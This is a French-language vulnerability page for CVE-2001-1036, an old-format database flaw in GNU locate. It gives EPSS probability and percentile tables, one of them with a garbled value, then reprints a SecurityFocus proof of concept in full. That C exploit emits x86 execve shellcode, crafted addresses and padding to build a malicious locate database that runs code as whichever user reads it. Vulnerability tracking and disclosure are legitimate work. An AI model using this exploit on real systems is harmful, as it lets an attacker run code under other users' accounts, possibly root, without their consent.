CVE-2001-1036 : Détail

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Date	EPSS V0	EPSS V1	EPSS V2 (> 2022-02-04)	EPSS V3 (> 2025-03-07)	EPSS V4 (> 2025-03-17)
2022-02-06	–	–	1.76%	–	–
2022-03-27	–	–	1.76%	–	–
2022-04-03	–	–	1.76%	–	–
2022-04-17	–	–	1.76%	–	–
2022-08-28	–	–	1.76%	–	–
2023-03-05	–	–	1.76%	–	–
2023-03-12	–	–	–	0.04%	–
2024-06-02	–	–	–	0.04%	–
2025-01-19	–	–	–	0.04%	–
2025-03-18	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13%
2025-04-15	–	–	–	–	0.13,%

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.

Date	Percentile
2022-02-06	54%
2022-03-27	55%
2022-04-03	74%
2022-04-17	75%
2022-08-28	76%
2023-03-05	77%
2023-03-12	–
2024-06-02	–
2025-01-19	–
2025-03-18	3%
2025-04-15	34%
2025-04-15	34%

// source: https://www.securityfocus.com/bid/3127/info GNU locate is an application that searches file databases for file names that match user-supplied patterns. A boundary condition error can occur when the program reads database files composed in an "old" format, produced by GNU locate prior to version 4.0 and by Unix versions of locate and find. If an attacker is able to write a malicious entry to a database file used by other users, the attacker could cause arbitrary code to be executed by another user when the user runs the locate program. It also should be noted that in earlier versions of Slackware(circa 3.5) the file is written by the superuser. #include <stdio.h> char shellcode[] = "\xeb\x18\x5e\x89\x76\x08\x31\xc0\x88\x46\x07\x89\x46" "\x0c\x89\xf3\x8d\x4e\x08\x8d\x56\x0c\xb0\x0b\xcd\x80" "\xe8\xe3\xff\xff\xff/tmp/xx"; char putshell[] = "\x14\x84\x85\x86\x87\x88\x89\x8a\x8b\x8c" "\x8d\x8e\x8f\x90\x91\x92\x93\x94\x95\x96"; int main(void) { int i; int z0=0; int addr=0x0804a970; int z1=0; int addr2=-626; int z2=0; int addr3=addr+6; printf("%s", &addr); printf("%s", &addr3); printf("%s",shellcode); fflush(stdout); for(i=46;i<256;i++) putchar('A'); printf("%s", putshell); fflush(stdout); putchar(0); putchar(30); printf("%s", &addr2); printf("\x82\x83"); fflush(stdout); }